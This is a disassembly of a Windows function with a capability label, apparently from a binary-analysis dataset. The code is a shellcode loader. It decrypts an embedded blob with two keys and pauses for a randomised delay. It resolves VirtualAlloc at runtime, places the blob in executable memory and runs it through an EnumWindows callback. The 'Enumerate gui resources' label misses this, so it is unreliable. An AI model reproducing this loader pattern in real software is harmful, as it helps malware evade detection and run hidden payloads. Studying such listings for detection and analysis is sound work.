Function at 0x1400030b0
Capabilities:
Enumerate gui resources

Disassembly:
push rbp
sub rsp, 0x5e0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x570], rcx
mov qword [rbp + 0x578], rdx
mov qword [rbp + 0x580], r8
mov dword [rbp + 0x588], r9d
mov qword [rbp + 0x548], 0
movabs rax, 0x26e23e808091a922
mov qword [rbp + 0x520], rax
movabs rax, 0x5a85ff79d3c88e6b
mov qword [rbp + 0x528], rax
lea rax, [rbp - 0x50]
lea rdx, [0x140005028]
mov ecx, 0x56d
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov dword [rbp + 0x55c], 0
mov dword [rbp + 0x558], 0
jmp 0x140001541
mov eax, dword [rbp + 0x558]
cdqe
lea rdx, [0x140005595]
movzx eax, byte [rax + rdx]
cmp al, 0x2f
jle 0x14000153a
mov eax, dword [rbp + 0x558]
cdqe
lea rdx, [0x140005595]
movzx eax, byte [rax + rdx]
cmp al, 0x39
jg 0x14000153a
mov edx, dword [rbp + 0x55c]
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
mov ecx, eax
mov eax, dword [rbp + 0x558]
cdqe
lea rdx, [0x140005595]
movzx eax, byte [rax + rdx]
movsx eax, al
add eax, ecx
sub eax, 0x30
mov dword [rbp + 0x55c], eax
add dword [rbp + 0x558], 1
mov eax, dword [rbp + 0x558]
cdqe
lea rdx, [0x140005595]
movzx eax, byte [rax + rdx]
test al, al
jne 0x1400014da
mov eax, dword [rbp + 0x55c]
mov ecx, eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x4ec4ec4f
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x1a
mov eax, edx
sub eax, ecx
imul eax, eax, 0x2ee0
cdqe
mov rcx, rax
call fcn.140001d55
lea rax, str.kernel32.dll
mov rcx, rax
call fcn.140001a7b
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
call fcn.140001b0f
mov qword [rbp + 0x540], rax
lea rdx, [rbp + 0x520]
lea rax, [rbp - 0x50]
mov r9d, 0x10
mov r8, rdx
mov edx, 0x56d
mov rcx, rax
call fcn.1400016c0
mov word [rbp - 0x53], 0xabbc
mov byte [rbp - 0x51], 0xcb
mov dword [rbp + 0x554], 0
jmp 0x14000164b
mov dword [rbp + 0x550], 0
jmp 0x140001636
mov eax, dword [rbp + 0x554]
cdqe
movzx edx, byte [rbp + rax - 0x50]
mov eax, dword [rbp + 0x550]
cdqe
movzx eax, byte [rbp + rax - 0x53]
xor eax, edx
mov edx, dword [rbp + 0x554]
movsxd rdx, edx
mov byte [rbp + rdx - 0x50], al
add dword [rbp + 0x550], 1
mov eax, dword [rbp + 0x550]
cdqe
cmp rax, 2
jbe 0x140001606
add dword [rbp + 0x554], 1
mov eax, dword [rbp + 0x554]
cdqe
cmp rax, 0x56c
jbe 0x1400015fa
mov rax, qword [rbp + 0x540]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x56d
mov ecx, 0
call rax
mov qword [rbp + 0x538], rax
lea rax, [rbp - 0x50]
mov rcx, qword [rbp + 0x538]
mov r8d, 0x56d
mov rdx, rax
call sub.msvcrt.dll_memmove
mov rax, qword [rbp + 0x538]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_EnumWindows]
call rax
mov eax, 0
add rsp, 0x5e0
pop rbp
ret
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call fcn.140001e70
call fcn.140002ea0
mov rbx, qword [rax]
test rbx, rbx
jne 0x1400030fb
jmp 0x140003171
test cl, cl
je 0x140003128
and esi, 1
je 0x140003110
mov esi, 1
call sub.msvcrt.dll__ismbblead
test eax, eax
je 0x1400030f7
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x1400030d8
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x1400030e6
test cl, cl
je 0x140003128
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x140003128
cmp al, 0x20
jle 0x140003118
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [rsp + 0x5c], 1
mov r9d, 0xa
je 0x140003156
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x140005920]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp 0x140001450
lea rbx, [0x1400055b0]
jmp 0x140003128